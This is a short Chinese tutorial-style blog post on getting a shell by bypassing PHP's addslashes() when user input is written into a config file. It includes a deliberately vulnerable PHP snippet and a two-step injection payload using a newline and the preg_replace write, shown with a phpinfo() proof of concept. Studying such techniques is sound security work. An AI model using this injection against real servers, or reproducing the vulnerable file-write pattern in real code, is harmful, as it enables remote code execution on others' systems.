php_addslashes绕过与写入文件配置getshell

绕过addslashes并写入文件配置getshell

写入配置getshell与addslashes绕过:

<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);
?>

对option变量进行了addslashes函数的限制,但是后面使用了file_get_contents函数打开文件,中间使用preg_replace将里面原$option=\'xxx\'的内容替换成$option=\‘xxx\’,最后用file_put_contents函数进行写入。

addslashes函数

版本:php4+

这个函数是对目前字符串中的单引号,双引号,反斜杠,null这四种情况进行转义,转义方式是在原符号之前加上反斜杠

利用

访问?option=asd’;%0aphpinfo();//
$str = asd\’;%0aphpinfo();//
经过替换写入后文件为

<?php
$option='asd\';
phpinfo();//;
?>

在访问一次?option=asd
$str = asd
经过再次替换后文件为

<?php
$option='asd';
phpinfo();//;
?>

最后访问asd/option.php就可以执行了。

上一篇:getshell技巧-phpMyAdmin的利用


下一篇:20174307周俊锴 实验一 平台逆向破解